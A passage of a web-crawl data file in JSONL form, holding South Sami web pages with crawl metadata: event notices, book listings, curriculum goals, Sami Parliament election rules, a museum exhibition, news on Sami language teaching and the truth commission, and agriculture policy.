vi sammen på ski til en gapahuk som ligger ved skisporet noen kilometer fra parkeringa, hvor vi tenner bål og griller. Vi leker og har det morsomt før vi renner ned til bilene igjen og reiser hjem. Alle som ønsker å delta på denne samlingen er hjertelig velkommen, og det er også trivelig om besteforeldre eller annen familie blir med oss. Barna må ha med seg ski og varme klær. På Gadtsegarhkh sin Facebook-side kan dere lese mer om denne samlingen. Og hvis noen som hører dette ikke er medlem i den siden, og kunne tenke seg å være det, så er det bare å ta kontakt med meg, Ida eller en annen forelder, så ordner vi det. Velkommen til en trivelig og morsom ski-samling med Gadtsegarhkh!","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.nearadio.no\/nyheter\/i\/GM6XgB\/saarnoeh-amma-19","date":"2024-04-14T10:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816879.25\/warc\/CC-MAIN-20240414095752-20240414125752-00619.warc.gz","language":"sma","language_score":0.9857906699,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9857906699180603}","num_words":485,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1982\nGiele\nISBN\n8200063593\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n37\nNïejte guhte gullie-tjååtselinie sjïdti, daaroengïelesne tjaaleldh.\n\"Gullie-tjååtsele\" båeries saemien åålmeh-vaajese. Daate soptsese buerien jïh vestiesvoeten bïjre, tjoevken, sjuevnjeden, rïektes jïh faelskies almetji bïjre. Maanagærjan stoerre guvvieh. Vaajesen deahpadimmie guektien nyjsenæjjese veadtaldahkesne, Njaevies-eatnan jïh Hatsves-eatnan gïeh buerien jïh vestiesvoeten maadtoe. Soptsesen jïjtjehke dalvese lea Njaevies-ietnien nïejte, numhtie dam vaajese jeenjemes sov bïjre.\nGærjam maahtah Nasjonaalebiblioteeken nehtesæjrosne lohkedh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_gullanda","date":"2024-04-21T10:57:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817765.59\/warc\/CC-MAIN-20240421101951-20240421131951-00481.warc.gz","language":"sma","language_score":0.9999928474,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999992847442627}","num_words":71,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2012\nFaage\nDaltese\nGiele\nISBN\n9788273748355\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n60\nGærja lea åasa lïerehtimmiegærjaraajrosne Biejjiegeajnoe mij lea religiovne-, jielemevuajnoe - jïh etihke faage.\nDaate gærja lea mubpede jaepien maadtskuvlen learoehkidie sjïehtesovveme jïh lea KL-06:n mietie. Gærjesne maahtah ovmessie almetji, religiovni jïh jielemevuajnoej bïjre lohkedh, jïh aaj guktie lea båajhtode jïh staaran dåemiedidh.\nMalle Remmel lea gærjan guvvieh guvviedamme, jïh Ellen Jonassen jïh Liv Karin Jåma lægan gærjam åarjelsaemiengïelese jarkoestamme.\nDaate learoevierhtie aaj noerhtesaemiengïelese gaavnh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_biejjiegeajnoe-2?base_route_name=entity.node.canonical&overridden_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-04-20T04:05:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817474.31\/warc\/CC-MAIN-20240420025340-20240420055340-00577.warc.gz","language":"sma","language_score":0.9999870062,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999987006187439}","num_words":80,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoeulmieh Jåa1 informasjovneteknologije jïh medijeproduksjovnen mænngan\nLïerehtimmien ulmie lea learohke edtja maehtedh\naktem jïjtjeveeljeme eatnemefaageles gyhtjelassem goerehtidh, gaavnoeh åehpiedehtedh jïh argumenteeredh veeljemen åvteste vuekijste\nvaahram vuarjasjidh jïjtse pryövemijstie jïh slaavvoem daejstie eensilaakan gïetedidh\nteknologijem goerehtidh jïh åehpiedehtedh ektiedamme jïjtse ööhpehtimmieprogrammese jïh dam aktene monnehkevoeteperspektijvesne vuarjasjidh\nsjyöhtehke gyhtjelassh healsoen jïh jieledevuekien bïjre digkiedidh, aaj saemien almetjebådtja, jïh vuarjasjidh man jaehkemes dagkerh bïevnesh leah ovmessie gaaltijijstie\nfunksjovnide såemies jielemeaamhtide tjïelkestidh, jïh digkiedidh man åvteste jeereldihkie beapmoeh leah vihkele aktene healsoe jïh monnehkevoeteperspektijvesne\novmessie såarhts elektromagnetiske gïjkemem buerkiestidh jïh vuesiehtimmieh vedtedh guktie gïjkeme åtnasåvva tråarehts gaskesadtemisnie\nbåaroefenomeenh goerehtidh tjoejen jïh akustihken bïjre","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.udir.no\/lk20\/nat02-04\/kompetansemaal-og-vurdering\/kv53?lang=sma","date":"2024-04-13T07:59:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816586.79\/warc\/CC-MAIN-20240413051941-20240413081941-00425.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000007152557373}","num_words":99,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.102,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse veeljemelokaalh steegkesuvvieh, edtja gaajhkh steemmah mah leah åvtelbodti vadtasovveme jïh veeljemebiejjien ryöknedh. Veeljemejoekedimmie dorjesåvva göökth. Edtja voestegh nænnoestidh man gellie tjirkijesijjieh fïereguhte krirrie jallh læstoe edtja utnedh Saemiedigkesne. Dan mænngan tjuara nænnoestidh mah kandidaath krirreste\/læstoste mah edtjieh daejtie sijjide utnedh (kandidaateveeljeme).\nJoekedimmie mandaatijste\nSysteemen mietie edtja gaajhkh tjirkijesijjieh joekedidh steemmetaalen mietie krirriej\/dåehkiej gaskem maam fïereguhte veeljemelæstoe åådtje. Prinsihpe gohtjesåvva forholds-veeljeme.\nMandaatejoekedimmie dej ovmessie læstoej gaskem dorjesåvva dejnie seamma matematihkeles vuekine dovne stoerredigkieveeljemisnie, fylhkendigkieveeljemisnie jïh tjïelteståvroeveeljemisnie. Vuekie gohtjesåvva St. Laguës modifiseradamme vuekie. Dellie edtja fïerhten læstoen steemmetaalem voestegh taaline 1,4 juekedh jïh dan mænngan taaligujmie 3-5-7-9. Daejnie juekieminie gellie taalh båetieh, mah gohtjesuvvieh kvotienth. Kvotienth öörnesuvvieh stoeredahken mietie. Voestes mandaate dan læstose jåhta mij stööremes kvotientem åtna, mandaate nr. göökte dan læstose jåhta mij mubpie stööremes kvotientem åtna jnv.\nKandidaateveeljeme\nGosse lea læstoej tjirkijesijjieh joekedamme, edtja kandidaateveeljemem tjïrrehtidh. Dïhte naemhtie dorjesåvva:\nKandidaateveeljemisnie voestegh ajve doh nommh ryöknoe mah nr. 1 tjåadtjoeh steemmeleahpine. Dïhte guhte jeenjemes steemmah åådtje daennie ryöknemisnie veeljesåvva. Dan mænngan edtja dejtie ryöknedh mah nr. 2 tjåadtjoeh steemmeleahpine. Dïhte kandidaate mij jeenjemes steemmah åådtje gosse illedahkh tjåanghkan beaja gåabpagihtie ryöknemistie jïh ij meatan vaeltieh dam mij joe lea veeljesovveme, veeljesåvva. Naemhtie jåarhka goske gaajhkh kandidaate leah veeljesovveme.\nIhke veeljiji jarkelimmieh steemmeleahpine edtjieh persovneveeljemem baajnehtidh, vielie goh lehkie krirrien veeljijijstie lea tjoereme jarkelimmieh darjodh seamma kandidaaten luvnie.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/politihke\/veeljeme\/gieh-saemiedigkien-sijse-baetieh\/","date":"2024-04-12T23:57:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816465.91\/warc\/CC-MAIN-20240412225756-20240413015756-00273.warc.gz","language":"sma","language_score":0.9999707937,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999707937240601}","num_words":214,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Doh magijeles gaektsie Máttasámegillii\/sørsamisk\nPlakaatesne «Doh magijeles gaektsie» raerieh gaavnh ovmessie aatide mejtie maahtah leavloem bïejedh juktie almetjem dåarjoehtidh ektiedimmiem vueptiestidh gaskem dam mij lea gærjesne tjaalasovveme jïh dam maam datne jeahtah gosse ektesne lohkede.\nMubpesth jiehtedh jïh damtijidh leah vihkele juktie almetjen goerkesem baakoej åvteste lissiehtidh, jïh sisvegem guarkedh baakoetjïertine dejnie gærjine dijjieh lohkede. Ryöjredh dïsse maam sïjhth jarngesne utnedh jïh darjoeh maaje soejkesjem jallh bijjieguvviem dïsse maam sïjhth jarngesne utnedh gosse lohkede. Aaj hijven jis seamma gærjam lohkh gellien aejkien.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.statped.no\/laringsressurser\/ask\/ask-samisk\/doh--magijeles-gaektsie-mattasamegilliisorsamisk\/","date":"2024-04-17T16:34:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817158.8\/warc\/CC-MAIN-20240417142102-20240417172102-00853.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":82,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jeanatjommesem destie mij mijjen åarjelsaemiej bïjre tjaalasovveme histovrijen tjïrrh, jeatjebh leah tjaaleme. Daelie jïjtjene histovrijem soptsestibie.\nÅejvievuesiehtimmesne gïejide goerebe saemien baelien minngesne arkeologeles gaavnoej jïh histovrijes gaaltiji tjïrrh. Lissine mijjen histovrijem vaarjelamme aerpievuekiej, vuelien jïh njaalmeldh soptsesi tjïrrh. Åarjelsaemien kultuvre lea tjarke jielije daan biejjien, dïhte jïjtjemse sjïehtedamme jïh jorkesamme gellie tjuetiejaepiej tjïrrh.\nTïjjelinja\nVuesiehtimmesne histovrije aalka gosse jïenge sjalkaji 14 000 jaepiej juassah. Naemhtie vuesiehtibie mijjen ektie kultuvreaerpie, vuesiehtimmien gaavhtan spaenjietjaalegh, aaj bielie saemien åvtehistovrijeste.\nTïjjelinjesne mij aalka 12 000 jaepieh mijjen tïjjeryöknemen åvtelen soptsestibie guktie saemien identiteete, gïele jïh kultuvre sjïdtedeminie. Tïjjelinjesne mijjieh vihkeles arkeologeles gaavnoeh jïh heannadimmieh tjïertestibie eevre daan biejjien raajan.\nDaeverevåarhkoe\nMijjen orre vuesiehtimmesne åadtjobe dellie maaje mijjen kultuvreaerpiem vuesiehtidh mij daeverevåarhkosne gååvnese. Dah leah daeverh museumen voestes våarhkoste, daeverh mah bååstede båateme prosjekten tjïrrh Bååstede, jïh vadtesh mejtie museume lea åådtjeme minngemes tïjjen.\nMijjieh aaj digitaale vierhkievierhtieh bievniemisnie nuhtjebe. Guktie vuesiehtimmie lea tseegkesovveme maahta jienebh ulmiedåehkieh jaksedh, joekehts daajroenjieptjiej mietie. Daesnie gåarede ovmessie teemah veelebelaakan goerehtidh.\nÅarjelsaemien åejviegïele\nGaajhkh teeksth jïh tjoejefijlh leah golme gieline; åarjelsaemien, daaroen jïh englaanten gïele. Åarjelsaemien åejviegïele. Mijjese vihkele orreme guessieh åadtjoeh dovne åarjelsaemien vuejnedh jïh govledh vuesiehtimmesne.\nVuesiehtimmesne maahta aaj åarjelsaemien vueliem govledh. Mijjieh jïjtse goltelimmiestasjovnem dorjeme gusnie guessie maahta vuelieh båeries våarhkojste govledh.\nSjugniedimmievaajese\nSaemien sjugniedimmievaajese maam åarjelsaemien hearra jïh tjaelije Anders Fjellner (1795-1876) våålese tjeeli, rööpses tråarine vuesiehtimmesne jåhta. Fjellner åehpemes sov eposen åvteste saemien åålmegasse. Sjugniedimmievaajese mijjem måjhtajahta eatnemen gorredidh, aaj båetijen boelvide.\nGuvvieh vuesiehtimmeste\nGuvvieh © Aina Bye","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/saemiensijte.no\/sami\/aktiviteter\/giejide-goerebe-vi-folger-sporene-ny-hovedutstilling\/","date":"2024-04-25T11:02:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712297292879.97\/warc\/CC-MAIN-20240425094819-20240425124819-00218.warc.gz","language":"sma","language_score":0.9999969006,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999969005584717}","num_words":238,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1991\nGiele\nISBN\n8273741133\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n29\nMaanagærja maanaj jïh biejjiennööles almetji bïjre, daaroen.\nGolmen maanan bïjre gïeh biejjiennööles almetjigujmie gaavnedieh. Dah Noaide-Biehtárem vuelkieh dåereden jïh biesieh sov rïjhkese såekiemaadtegen sïjse. Noaide-Biehtár voestegh tjeahta nåejtietjaetsiem gåajhkahtidh dej sijjen tjelmiej sïjse edtjieh seammam vuejnedh maam Noaide-Biehtár vuajna. Tjuerieh nåejtietjaetseste jovkestidh aaj Noaide-Biehtárinie seamma ohtje sjïdtedh. Jïh dle tjeajne biejjiennööles almetji veartanisnie mij akt mestie tjuerieh geehtedidh, alvas vaaregs snjeareste. Men Máret, Jovna jïh Ánne gujht daejrieh guktie! Gærja daaroengïelesne.\nGærja lohkemisnie digitaalegærjine Nasjonaalebiblioteekesne.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_noaide-biehtar","date":"2024-04-21T11:38:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817765.59\/warc\/CC-MAIN-20240421101951-20240421131951-00865.warc.gz","language":"sma","language_score":0.999958992,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999589920043945}","num_words":91,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjehealsoe jïh jieledehaalveme\nFaagesne musihke dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme learoehkidie maahtoem vadta vueliem, musihkem, laavlomem jïh jeatjah vokaale vuekieh jïh daanhtsoem åehpiedehtedh. Ektievoete musihken bïjre relasjovnh almetji gaskem tseegkie, haalvemedomtesem vadta jïh positijve jïjtjeguvviem vadta, gosse musihken faageles jïh estetihkeles dimensjovnh gorresuvvieh. Musihke lea vierhtie damtijidh, åssjaldahkh jïh domtesh soptsestidh jïh gïetedidh, mietiemoeresne jïh vuestiemoeresne. Saemien jïh jeatjah musihken tjïrrh learohkh nuepiem åadtjoeh jïjtsh identiteetem nænnoestidh jïh tseegkedh. Tjiehpeles vuekieh nuepiem vedtieh dovne jïjtse jïh mubpiej domtesh guarkedh, jïh daate våaromem beaja hijven psykiske healsose.\nDemokratije jïh meatanårrojevoete\nFaagesne musihke dåaresthfaageles teema demokratije jïh meatanårrojevoete learohkh daajroem evtiedieh guktie musihke maahta vihkeles demokraateles vierhtine årrodh. Gosse teemine barkeminie learohkh goerkesem åadtjoeh guktie sijjieh maehtieh åtnose vaeltedh tjiehpeles buektemevuekieh jïh estetihkeles vuekieh demokraateles prosessine. Faage musihke edtja voerkesvoetem vedtedh guktie musihke iktegisth lea åtnasovveme mïelh buektedh jïh identiteeth sjugniedidh jïh gaskesadtedh. Musihkesne learohkh haarjanieh ovmessie mïelh gïetedidh jïh ovsïemesvoeth ååktedh, jïh voerkesvoetem evtiedieh dovne reaktan bïjre soptsestidh, jïh soptsestimmiereaktan raasti bïjre.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2024-04-24T19:12:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296819847.83\/warc\/CC-MAIN-20240424174709-20240424204709-00397.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":162,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jápminlohku lassána\n25 olbmo leat duššan, ja 600 olbmo roasmmehuvvan maŋŋel dan garra eanandoarggástusa mii lei disdaga čuovganeaomái, Albánias. Ja eiseválddit ballet ahte oallugat leat ain vistiin mat leat billahuvvan maŋŋel eanandoarggástusa.\nRettslig styrking av kvensk og finsk språk var et tema som flere av de kvenske, kvensk-finske og norsk-finske representantene tok opp i høringen på Stortinget i kveld.\nDet var kontroll- og konstitusjonskomiteen som i kveld holdt høring om rapporten fra sannhets- og forsoningskommisjonen (stortinget.no).\nNorske kveners forbund, Kvenungdommen, Kvensk Finsk Riksforbund, Oslo Kvensk-Finsk forening,\nKvensk Finsk Studentnettverk og Norsk-Finsk Forbund tok sammen plass ved langbordet, for å svare på spørsmål fra stortingspolitikerne.\nDe trakk også frem ønske om mer fokus på å synliggjøre kulturminner til denne gruppen nasjonale minoriteter.\nDe ble i likhet med representanter fra Sametinget utfordret av stortingspolitikerne på at de hadde litt forskjellig ønsker. Blant annet om hvordan språkene kan styrkes og revitaliseres.\nTil det svarte blant annet nestleder for Norske kveners forbund, Unni Elisabeth Huru, at det er urimelig å forvente at kvener, kvensk-finner og norsk-finner skal snakke med én stemme. I likhet med at det i majoritetssamfunnet er ulike syn, så må vel det samme kunne gjelde kvener og andre nasjonale minoriteter, påpekte hun.\nArtiste Kajsa Balto jeahta daaroen learohkh maehtieh gïele laavloegujmie lïeredh, movhte lohkehtæjjah jiehtieh ij leah dan aelhkies.\nDïhte saemiengïelesne laavloe, jïh laavloegujmie gïelem lïeri.\n– Gosse maanagiertesne eelkim barre saemiengïelem soptsestim. Baakoelæstoem meatan utnim juktie dah jeatjh edtjin guarkedh maam jeehtim, Balto jeahta.\nMovhte gosse tïjjem vaasi gaajhke åajaldehti. Gosse skuvlesne eelki tuhtji aelkebe daaroengïelesne soptsestidh.\nMenh gosse båarasåbpoe sjïdti eelki gïelem ohtselidh.\n– Lea dan åvteste tjidtjie sjïdtim. Dan åvteste manne vuelie maanabaeleste utneme, sïjhtim mov maanah aaj edtjieh vuelie lïeredh, dïhte jeahta.\nDaelie Balto håhkesje laavloe maahta saemiengïelem daaroe learoehkidie aaj lïeredh.\nMovhte lohkehtæjjah jiehtieh ij leah dan aelhkie, jïh laake ij dam sjïehteladth.\nNora Bilalovic Kulset lea musihkedotkije NTNUsne. Dïhte jeahta laavloe lea buerie vuekie gïelem lïeredh. Menh ij leah nuekie barre laavlodh jïs edtja gïelem lïeredh. Daarpesje akte goh maahta gïelem soptsestidh goh maahta gïelem tjïelkestidh.\n– Menh maahta saemien laavloeh laavlodh jalhts eah gïelem maehtieh. Dellie maehtieh gïeletjoejh saavredh, jïh vihkeles kultuvregoerkelimmie åadtjoeh, Kulset jeahta.\nMenh mij learohkh ussjedieh?\n– Vïenhtem lea jeatjahlaakan gïele. Jïs dam lïerem maam joem lusten tjïrrh, goh musihke, vïenhtem maahtam vielie lïeredh, Erlend Riksheim jeahta.\nDïhte maahta «buerie biejjie» jïh «lahkoe biejjine» noerhtesaemiengïelesne jiehtedh, menh jeatjh gïeline goh tyskelaanten jïh englaantengïelesne maahta jiehtedh gïen dïhte lea.\nLearohke Kristian Iversen maahta seamma baakoeh saemiengïelesne jiehtedh Jalhts saemien gïelereeremedajvesne årroeminie idtji dan jïjnje ussjedh man åvteste ij vielie saemiengïelem maehtieh.\n– Menh lea kultuvreaerpie Nöörjesne. Byörebe saemiengïele vaarjelidh, jïh dellie aaj byörebe saemiengïelem skuvlesne lïeredh, Iversen jeahta.\nIversen vienth hijven orreme saemiengïele lïeredh, dan åvtese gellie saemieh Nordlaantesne årroeminie. Aaj ussjede dïhte maahta saemien aassjoe unniedidh.\nMenh laake dorje juktie ij leah aelhkie. Risten Turi Aleksandersen, direktööre saemien gïeline Saemiedigkesne, ij darjoeh juktie gaajhke maanah laantesne edtjieh gïelem lïeredh.\n– Ööhpehtimmielaake jeahta tjuara saemie årrodh jis edtja reakta utnedh saemien ööhpehtimmie åadtjodh. Jïh dan åvteste daaroen maanah eah reakta utnieh saemien ööhpehtimmie åadtjodh, Aleksandersen jeahta.\nKontroll- og konstitusjonskomiteen holdt i kveld en åpen høring om rapporten fra sannhets- og forsoningskommisjonen. De som deltok i høringen var representanter for samer, kvener, skogfinner og norskfinner.\nSametingets representanter startet høringen. De fikk blant annet spørsmål fra komiteens medlemmer om hvor godt bilde rapporten gir av fornorskningen som samene ble utsatt for.\nDer poengterte sametingsråd Runar Myrnes Balto at det er enighet om at rapporten er riktig og viktig. Den er også viktig for å få en nasjonal erkjennelse av den fornorskningen som har skjedd, påpekte han.\nStortinget har også fått med seg at de forskjellige partiene på Sametinget ikke kom med et enstemmig forslag til hvordan rapporten skal følges opp.\nDette fikk de flere spørsmål om fra stortingskomiteen.\nDer poengterte representantene fra Sametinget at forslagene ikke var så forskjellige, og at det er et poeng at samer også kan være uenige om saker.\nKontroll- og konstitusjonskomiteen skal levere sin innstilling om rapporten i begynnelsen av november.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.nrk.no\/sapmi\/japminlohku-lassana-1.14798013","date":"2024-04-17T03:18:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817128.7\/warc\/CC-MAIN-20240417013540-20240417043540-00206.warc.gz","language":"sma","language_score":0.9676420093,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9676420092582703, \"sme_Latn_score\": 0.027102578431367874}","num_words":664,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kommisjovne sæjhta tjåanghkojde bööredh dovne Saepmesne, sveerjen raedtesne jïh naan gïlle stiellh åarjel Sveerjesne, daennie boelhkesne 2023-2024. Tjåanghkoej ulmieh edtjebe mijjen barkoen bïjre bïevnedh. Dïhte åssjaldahke naemhtie, dah mah diekie båetieh edtjieh nuepiem utnedh dan barkoen bïjre gihtjedh, ussjedidh jïh mijjen barkoen bïjre soptsestidh. Akte jeatja vihkeles ulmie lea bïevnedh nöödtieh dej vaajesem mijjine soptsestidh. Maehtebe mænngan goerehtalledh, menh daej tjåanghkojne maahtah saerniestidh sïjhth goerehtallesovvedh, jïh dellie mijjieh mænngan datnem bieljelibie nååhtedibie.\nVoestes tjåanghkoe lij Johkemehkien daelviesjeltesne, goevten 2-3 b.2023.\nMaahtah vielie daennie hïejmesæjrosne lohkedh gåessie kommisjovne dej joekehth stielline båata.\nMaahta daerpies jeenjebh stielline mïnnedh jis kommisjovne åtna dïhte daerpies. Saetnievoetekommisjonve båata voerhtjen Ammarnäsese ruffien 15-b, jïh Arjeplogese golken 3-b.\nSïjhth goerehtallesovvedh? Bieljelh:\nTjaelije\/goerehtallije Marja-Kristin Skum\n076-1273764\nemail@example.com\nTjaelije\/ goerehtallije Lena Kroik\n076-1136546\nfirstname.lastname@example.org","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sanningskommissionensamer.se\/sma\/barkoen-bijre\/tjaanghkoeh-saepmesne\/","date":"2024-04-21T18:17:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817790.98\/warc\/CC-MAIN-20240421163736-20240421193736-00481.warc.gz","language":"sma","language_score":0.9999425411,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999425411224365}","num_words":121,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Radikaliseereme jïh vædtsoeh ekstremisme\nDaan biejjien terrorem jïh vædtsoeh ekstremismem dååjroe goh beltije aajhtoe mijjen seabradahken vööste. Geerve daaroej luvnie snjaltjen 22. b. 2011 lea tjarke mojhtesisnie, mearan learohkh mah maanaskuvlem aelkieh, eah lin reakadamme dellie. Dovne Europesne jïh jeatjah lehkesne veartenisnie ööøpteme jïh nåhkehtimmie terroristie leah bijjies agendaesne.\nSkuvlen åejvielaavenjasse ij leah terrorem nåhkehtidh. Men dagke maahta viehkiehtidh guktie vaenebh geasalguvvieh ekstremistiske organisasjovni vööste jïh dej dïjren vööste. Barkoe skuvlebyjresinie jïh hööpteme ålkoestimmeste leah jarngesne daesnie.\nDaesnie maahtah vielie lohkedh radikaliseeremen jïh vædtsoeh ekstremismen bïjre. Daate daajroe ij leah læjhkan lohkehtæjjaj vihkielommes dïrrege barkosne radikaliseeremen vööste. Vihkielommes dïrrege lea joe jarngesne lohkehtæjjaj profesjovnemaahtoste: maehtedh learohkem vuejnedh jïh dåastoehtidh, jïh learohken perspektijvem vaeltedh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dembra.no\/sma\/tema\/radikalisering-og-voldelig-ekstremisme","date":"2024-04-21T23:35:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00681.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":111,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåartaburrie\nJåartaburrie aktem joekoen vihkeles råållam åtna juktie jielije voenh jïh saemien kultuvrem evtiedidh. Daan biejjien jieleme stoerre haestemh åtnah dannasinie akte stoerre låhkoe jåartaburrine orrije jïh gille jåartaburrine aalka. Saemiedigkie sæjhta jåartaburriem vaarjelidh jïh evtiedidh goh akte vihkeles kultuvreguedtije jïh fasseldæjja.\nJielije voenh lea dïhte bööremes tjirkeme juktie saemien kultuvrem jïh gïelem gorredidh jïh evtiedidh. Dannasinie akte stoerre haesteme Saemiedægkan govlehtoevedh nöörjen åejvieladtjijste dejnie gyhtjelassine mah evtiedimmiem jåartaburreste tsevtsieh saemien dajvine.\nSaemiedigkie sæjhta:\n- Maereles juridihkeles jïh ekonomeles mierietsiehkieh utnedh\n- Dïenestem bueriedidh aalkoejielieminie\n- Hijven dåårrehtimmiem buektiehtidh\n- Buerebe balanse tjoeli gaskem buektiehtidh\n- Juvrepolitihkem utnedh mij saemien jielemh krööhkeste\nMijjieh sïjhtebe mijjen ulmieh jaksedh daejnie:\n- Arealh jïh vierhtieh gorredidh\n- Jåartapolitihkem tsevtsedh\n- Sjïehteladtedh juktie ïebnesh vijriesåbpoe evtiedidh\n- Viehkiehtidh guktie hijven öörnegh tseegkesuvvieh gosse boelveste boelvese serteste\n- Viehkiehtidh guktie stuerebe nyjsenelåhkoe sjædta\n- Gorredidh guktie miehtjiesdajvebarkijh luhpiem åadtjoeh vierhtide miehtjiesdajvesne\nMijjen laavenjostoeguejmieh:\n- Innovasjovne Nöörje (Innovasjon Norge) evtiedimmievierhtide voenide reerie, mejtie maahta skåårvemidie vedtedh aerpievuekien laanteburresne jïh lissiejielieminie, jïh aaj tseegkijedåarjose jïh sïelteevtiedæmman lissiejieliemasse.\n- Fylhkenålmaj laanteburriegoevtesh edtjieh viehkiehtidh guktie dïhte nasjovnale 